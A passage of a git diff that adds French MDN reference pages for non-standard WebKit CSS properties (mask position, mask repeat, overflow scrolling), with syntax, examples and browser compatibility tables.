+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">{{ CompatNo() }}</td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">4.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table" style="border-bottom-style: dotted; border-bottom-width: 1px; border-collapse: collapse; border-left-style: dotted; border-left-width: 1px; border-right-style: dotted; border-right-width: 1px; border-top-style: dotted; border-top-width: 1px; font-size: 14px; margin-bottom: 1.286em;">
+ <tbody>
+  <tr>
+   <th style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 0px; padding-right: 5px; padding-bottom: 0px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; background-clip: initial; background-color: rgb(238, 238, 238); text-align: left; font-weight: bold;"><strong style="background-color: rgb(238, 238, 238); font-weight: bold; line-height: 14px;">Fonctionnalité</strong></th>
+   <th style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 0px; padding-right: 5px; padding-bottom: 0px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; background-clip: initial; background-color: rgb(238, 238, 238); text-align: left; font-weight: bold;">iOS Safari</th>
+   <th style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 0px; padding-right: 5px; padding-bottom: 0px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; background-clip: initial; background-color: rgb(238, 238, 238); text-align: left; font-weight: bold;">Opera Mini</th>
+   <th style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 0px; padding-right: 5px; padding-bottom: 0px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; background-clip: initial; background-color: rgb(238, 238, 238); text-align: left; font-weight: bold;">Opera Mobile</th>
+   <th style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 0px; padding-right: 5px; padding-bottom: 0px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; background-clip: initial; background-color: rgb(238, 238, 238); text-align: left; font-weight: bold;">Android Browser</th>
+  </tr>
+  <tr>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">Support basique</td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">3.2</td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">{{ CompatNo() }}</td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">{{ CompatNo() }}</td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">2.1</td>
+  </tr>
+  <tr>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">Images de masque multiples</td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">yes</td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">{{ CompatNo() }}</td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">{{ CompatNo() }}</td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">yes</td>
+  </tr>
+  <tr>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">Dégradés</td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">yes {{ property_prefix("-webkit") }}</td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">{{ CompatNo() }}</td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">{{ CompatNo() }}</td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">yes{{ property_prefix("-webkit") }}</td>
+  </tr>
+  <tr>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">
+    <p>Masques SVG</p>
+   </td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">
+    <p>yes</p>
+   </td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">
+    <p>{{ CompatNo() }}<a id="fck_paste_padding" style="text-decoration: none; color: rgb(51, 102, 153) !important; cursor: default;"></a></p>
+   </td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">
+    <p>{{ CompatNo() }}</p>
+   </td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">
+    <p>yes</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div class="note"><strong>Note :</strong> Gecko supporte les <a href="/En/Applying_SVG_effects_to_HTML_content#Example:.C2.A0Masking" style="font-style: italic;" title="https://developer.mozilla.org/En/Applying_SVG_effects_to_HTML_content#Example:.C2.A0Masking">effets de filtre SVG </a>depuis sa version 1.9.1. Ils peuvent être utilisés pour masquer du contenu HTML.</div>
+
+<h3 id="Voir_également">Voir également</h3>
+
+<p>{{ cssxref("-webkit-mask") }}, {{ cssxref("-webkit-mask-origin") }}, {{ cssxref("-webkit-mask-attachment") }},{{ cssxref("-webkit-mask-image") }},{{ cssxref("-webkit-mask-composite") }},{{ cssxref("-webkit-mask-repeat") }}</p>
diff --git a/files/fr/web/css/-webkit-mask-position-x/index.html b/files/fr/web/css/-webkit-mask-position-x/index.html
new file mode 100644
index 0000000000..af1b699b8b
--- /dev/null
+++ b/files/fr/web/css/-webkit-mask-position-x/index.html
@@ -0,0 +1,90 @@
+---
+title: '-webkit-mask-position-x'
+slug: Web/CSS/-webkit-mask-position-x
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/-webkit-mask-position-x
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété <strong><code>-webkit-mask-position-x</code></strong> permet de définir la position horizontale initiale d'une image de masque.</p>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+-webkit-mask-position-x: left;
+-webkit-mask-position-x: center;
+-webkit-mask-position-x: right;
+
+/* Valeurs proportionnelles */
+/* Type &lt;percentage&gt;        */
+-webkit-mask-position-x: 100%;
+-webkit-mask-position-x: -50%;
+
+/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+-webkit-mask-position-x: 50px;
+-webkit-mask-position-x: -1cm;
+
+/* Gestion de plusieurs valeurs */
+-webkit-mask-position-x: 50px, 25%, -3em;
+
+/* Valeurs globales */
+-webkit-mask-position-x: inherit;
+-webkit-mask-position-x: initial;
+-webkit-mask-position-x: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>Une longueur indiquant la position du bord gauche de l'image à partir du bord gauche de la boîte de remplissage (<em>padding</em>). Les pourcentages sont calculés relativement à la dimension horizontale de la boîte de remplissage. (<code>0%</code> indique que le bord gauche de l'image est aligné avec le bord gauche de la boîte de remplissage et <code>100%</code> indique que le bord droit de l'image est aligné avec le bord droit  de la boîte de remplissage).</dd>
+ <dt><code><strong>left</strong></code></dt>
+ <dd>Un mot-clé équivalent à <code>0%</code>.</dd>
+ <dt><code><strong>right</strong></code></dt>
+ <dd>Un mot-clé équivalent à <code>100%</code>.</dd>
+ <dt><code><strong>center</strong></code></dt>
+ <dd>Un mot-clé équivalent à <code>50%</code>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:css">.exempleUn {
+  -webkit-mask-image: url(mask.png);
+  -webkit-mask-position-x: right;
+}
+
+.exempleDeux {
+  -webkit-mask-image: url(mask.png);
+  -webkit-mask-position-x: 25%;
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété propriétaire liée à WebKit/Blink et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-webkit-mask-position-x")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("-webkit-mask-position")}}</li>
+ <li>{{cssxref("-webkit-mask-position-y")}}</li>
+ <li>{{cssxref("-webkit-mask-origin")}}</li>
+ <li>{{cssxref("-webkit-mask-attachment")}}</li>
+</ul>
diff --git a/files/fr/web/css/-webkit-mask-position-y/index.html b/files/fr/web/css/-webkit-mask-position-y/index.html
new file mode 100644
index 0000000000..d620e75b1d
--- /dev/null
+++ b/files/fr/web/css/-webkit-mask-position-y/index.html
@@ -0,0 +1,92 @@
+---
+title: '-webkit-mask-position-y'
+slug: Web/CSS/-webkit-mask-position-y
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/-webkit-mask-position-y
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété <strong><code>-webkit-mask-position-y</code></strong> permet de définir la position verticale initiale d'une image de masque.</p>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+-webkit-mask-position-y: top;
+-webkit-mask-position-y: center;
+-webkit-mask-position-y: bottom;
+
+/* Valeurs proportionnelles */
+/* Type &lt;percentage&gt;        */
+-webkit-mask-position-y: 100%;
+-webkit-mask-position-y: -50%;
+
+/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+-webkit-mask-position-y: 50px;
+-webkit-mask-position-y: -1cm;
+
+/* Gestion de plusieurs valeurs */
+-webkit-mask-position-y: 50px, 25%, -3em;
+
+/* Valeurs globales */
+-webkit-mask-position-y: inherit;
+-webkit-mask-position-y: initial;
+-webkit-mask-position-y: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>Une longueur indiquant la position du haut de l'image à partir du bord haut de la boîte de remplissage (<em>padding</em>). Les pourcentages sont calculés relativement à la dimension verticale de la boîte de remplissage (<code>0%</code> indique que le bord haut de l'image est aligné avec le bord haut de la boîte de remplissage et <code>100%</code> indique que le bord bas de l'image est aligné avec le bord bas de la boîte de remplissage).</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Une longueur, mesurée à partir du bord haut de la boîte de remplissage (<em>padding</em>), qui indique la position verticale de l'image.</dd>
+ <dt><code><strong>top</strong></code></dt>
+ <dd>Un mot-clé équivalent à <code>0%</code>.</dd>
+ <dt><code><strong>bottom</strong></code></dt>
+ <dd>Un mot-clé équivalent à <code>100%</code>.</dd>
+ <dt><code><strong>center</strong></code></dt>
+ <dd>Un mot-clé équivalent à <code>50%</code>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:css">.exempleUn {
+  -webkit-mask-image: url(mask.png);
+  -webkit-mask-position-y: bottom;
+}
+
+.exempleDeux {
+  -webkit-mask-image: url(mask.png);
+  -webkit-mask-position-y: 25%;
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété propriétaire liée à WebKit/Blink et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-webkit-mask-position-y")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("-webkit-mask-position")}}</li>
+ <li>{{cssxref("-webkit-mask-position-x")}}</li>
+ <li>{{cssxref("-webkit-mask-origin")}}</li>
+ <li>{{cssxref("-webkit-mask-attachment")}}</li>
+</ul>
diff --git a/files/fr/web/css/-webkit-mask-repeat-x/index.html b/files/fr/web/css/-webkit-mask-repeat-x/index.html
new file mode 100644
index 0000000000..513d898b57
--- /dev/null
+++ b/files/fr/web/css/-webkit-mask-repeat-x/index.html
@@ -0,0 +1,88 @@
+---
+title: '-webkit-mask-repeat-x'
+slug: Web/CSS/-webkit-mask-repeat-x
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/-webkit-mask-repeat-x
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété <strong><code>-webkit-mask-repeat-x</code></strong> définit la façon dont une image de masque est répétée horizontalement.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+-webkit-mask-repeat-x: repeat;
+-webkit-mask-repeat-x: no-repeat;
+-webkit-mask-repeat-x: space;
+-webkit-mask-repeat-x: round;
+
+/* Valeurs multiples */
+-webkit-mask-repeat-x: repeat, no-repeat, space;
+
+/* Valeurs globales */
+-webkit-mask-repeat-x: inherit;
+-webkit-mask-repeat-x: initial;
+-webkit-mask-repeat-x: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>repeat</code></dt>
+ <dd>L'image de masque est répétée horizontalement.</dd>
+ <dt><code>no-repeat</code></dt>
+ <dd>L'image de masque n'est pas répétée horizontalement, seul un exemplaire est dessiné selon l'axe horizontal. Le contenu restant sur l'axe horizontal pour les éléments masqués n'est pas affiché.</dd>
+ <dt><code>space</code></dt>
+ <dd>L'image est répétée tant que possible sans être rognée. La première et la dernière images sont accolées aux bords droit et gauche de l'élément et l'espace restant est réparti entre les copies de l'image. La propriété {{cssxref("mask-position")}} est ignorée sauf si une seule image peut être affichée sans qu'il n'y ait de rognage. On aura uniquement du rognage s'il n'y a pas suffisamment d'espace pour afficher une seule image.</dd>
+ <dt><code>round</code></dt>
+ <dd>L'image est répétée et les différents exemplaires sont tous étirés de la même façon afin qu'il n'y ait pas d'espace entre chaque. Ainsi, une image qui mesure originellement 260px et qui est répétée trois fois pourra être étirée jusqu'à ce que chaque répétition soit large de 300px, ensuite une autre image sera ajoutée et toutes seront compressées à 225px.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">.exempleun {
+  -webkit-mask-image: url('mask.png');
+  -webkit-mask-repeat-x: repeat;
+}
+
+.exempledeux {
+  -webkit-mask-image: url('mask.png');
+  -webkit-mask-repeat-x: no-repeat;
+}
+</pre>
+
+<h3 id="Gestion_de_plusieurs_images">Gestion de plusieurs images</h3>
+
+<p>On peut définir un style de répétition (<code>&lt;repeat-style&gt;</code>) différent pour chacune des images de masque en séparant les valeurs par des virgules :</p>
+
+<pre class="brush: css">.exempletrois {
+  -webkit-mask-image: url('mask1.png'), url('mask2.png');
+  -webkit-mask-repeat-x: repeat, space;
+}
+</pre>
+
+<p>Chaque image aura la valeur associée, dans le même ordre.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-webkit-mask-repeat-x")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("-webkit-mask-repeat")}},</li>
+ <li>{{cssxref("-webkit-mask-repeat-y")}}</li>
+</ul>
diff --git a/files/fr/web/css/-webkit-mask-repeat-y/index.html b/files/fr/web/css/-webkit-mask-repeat-y/index.html
new file mode 100644
index 0000000000..3c59b32302
--- /dev/null
+++ b/files/fr/web/css/-webkit-mask-repeat-y/index.html
@@ -0,0 +1,88 @@
+---
+title: '-webkit-mask-repeat-y'
+slug: Web/CSS/-webkit-mask-repeat-y
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/-webkit-mask-repeat-y
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété <strong><code>-webkit-mask-repeat-y</code></strong> définit la façon dont une image de masque est répétée verticalement.</p>
+
+<pre class="brush:css  no-line-numbers">/* Valeurs avec un mot-clé */
+-webkit-mask-repeat-y: repeat;
+-webkit-mask-repeat-y: no-repeat;
+-webkit-mask-repeat-y: space;
+-webkit-mask-repeat-y: round;
+
+/* Valeurs multiples */
+-webkit-mask-repeat-y: repeat, no-repeat, space;
+
+/* Valeurs globales */
+-webkit-mask-repeat-y: inherit;
+-webkit-mask-repeat-y: initial;
+-webkit-mask-repeat-y: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>repeat</code></dt>
+ <dd>L'image de masque est répétée verticalement.</dd>
+ <dt><code>no-repeat</code></dt>
+ <dd>L'image de masque n'est pas répétée verticalement, seul un exemplaire est dessiné selon l'axe vertical. Le contenu restant sur l'axe vertical pour les éléments masqués n'est pas affiché.</dd>
+ <dt><code>space</code></dt>
+ <dd>L'image est répétée tant que possible sans être rognée. La première et la dernière images sont accolées aux bords bas et haut de l'élément et l'espace restant est réparti entre les copies de l'image. La propriété {{cssxref("mask-position")}} est ignorée sauf si une seule image peut être affichée sans qu'il n'y ait de rognage. On aura uniquement du rognage s'il n'y a pas suffisamment d'espace pour afficher une seule image.</dd>
+ <dt><code>round</code></dt>
+ <dd>L'image est repétée et les différents exemplaires sont tous étirés de la même façon afin qu'il n'y ait pas d'espace entre chaque. Ainsi, une image qui mesure originellement 260px et qui est répétée trois fois pourra être étirée jusqu'à ce que chaque répétition soit haute de 300px, ensuite une autre image sera ajoutée et toutes seront compressées à 225px.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">.exempleun {
+  -webkit-mask-image: url('mask.png');
+  -webkit-mask-repeat-y: repeat;
+}
+
+.exempledeux {
+  -webkit-mask-image: url('mask.png');
+  -webkit-mask-repeat-y: no-repeat;
+}
+</pre>
+
+<h3 id="Gestion_de_plusieurs_images">Gestion de plusieurs images</h3>
+
+<p>On peut définir un style de répétition (<code>&lt;repeat-style&gt;</code>) différent pour chacune des images de masque en séparant les valeurs par des virgules :</p>
+
+<pre class="brush: css">.exempletrois {
+  -webkit-mask-image: url('mask1.png'), url('mask2.png');
+  -webkit-mask-repeat-y: repeat, space;
+}
+</pre>
+
+<p>Chaque image aura la valeur associée, dans le même ordre.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-webkit-mask-repeat-y")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("-webkit-mask-repeat")}},</li>
+ <li>{{cssxref("-webkit-mask-repeat-x")}}</li>
+</ul>
diff --git a/files/fr/web/css/-webkit-overflow-scrolling/index.html b/files/fr/web/css/-webkit-overflow-scrolling/index.html
new file mode 100644
index 0000000000..8a9c9ee4d3
--- /dev/null
+++ b/files/fr/web/css/-webkit-overflow-scrolling/index.html
@@ -0,0 +1,86 @@
+---
+title: '-webkit-overflow-scrolling'
+slug: Web/CSS/-webkit-overflow-scrolling
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/-webkit-overflow-scrolling
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété <strong><code>-webkit-overflow-scrolling</code></strong> permet de contrôler si l'appareil tactile utilise l'inertie pour faire défiler l'élément visé par la déclaration.</p>
+
+<h2 id="Valeurs">Valeurs</h2>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Le défilement « normal » est utilisé : le défilement s'arrête dès que le doigt ne touche plus l'écran.</dd>
+ <dt><code>touch</code></dt>
+ <dd>Le défilement simule une certaine inertie : le contenu continue à défiler légèrement après que le toucher soit fini. La vitesse et la durée du défilement sont proportionnelles à la vitesse de déplacement du doigt sur l'écran. Cela crée un nouveau contexte d'empilement.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  width: 100%;
+  overflow: auto;
+}
+
+p {
+  width: 200%;
+  background: #f5f9fa;
+  border: 2px solid #eaf2f4;
+  padding: 10px;
+}
+
+.scroll-touch {
+  -webkit-overflow-scrolling: touch; /* on laisse le défilement se poursuivre */
+}
+
+.scroll-auto {
+  -webkit-overflow-scrolling: auto; /* on arrête le défilement immédiatement */
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="scroll-touch"&gt;
+  &lt;p&gt;
+    Ce paragraphe a un défilement inertiel.
+  &lt;/p&gt;
+&lt;/div&gt;
+&lt;div class="scroll-auto"&gt;
+  &lt;p&gt;
+     Pas celui-ci.
+  &lt;/p&gt;
+&lt;/div&gt;</pre>
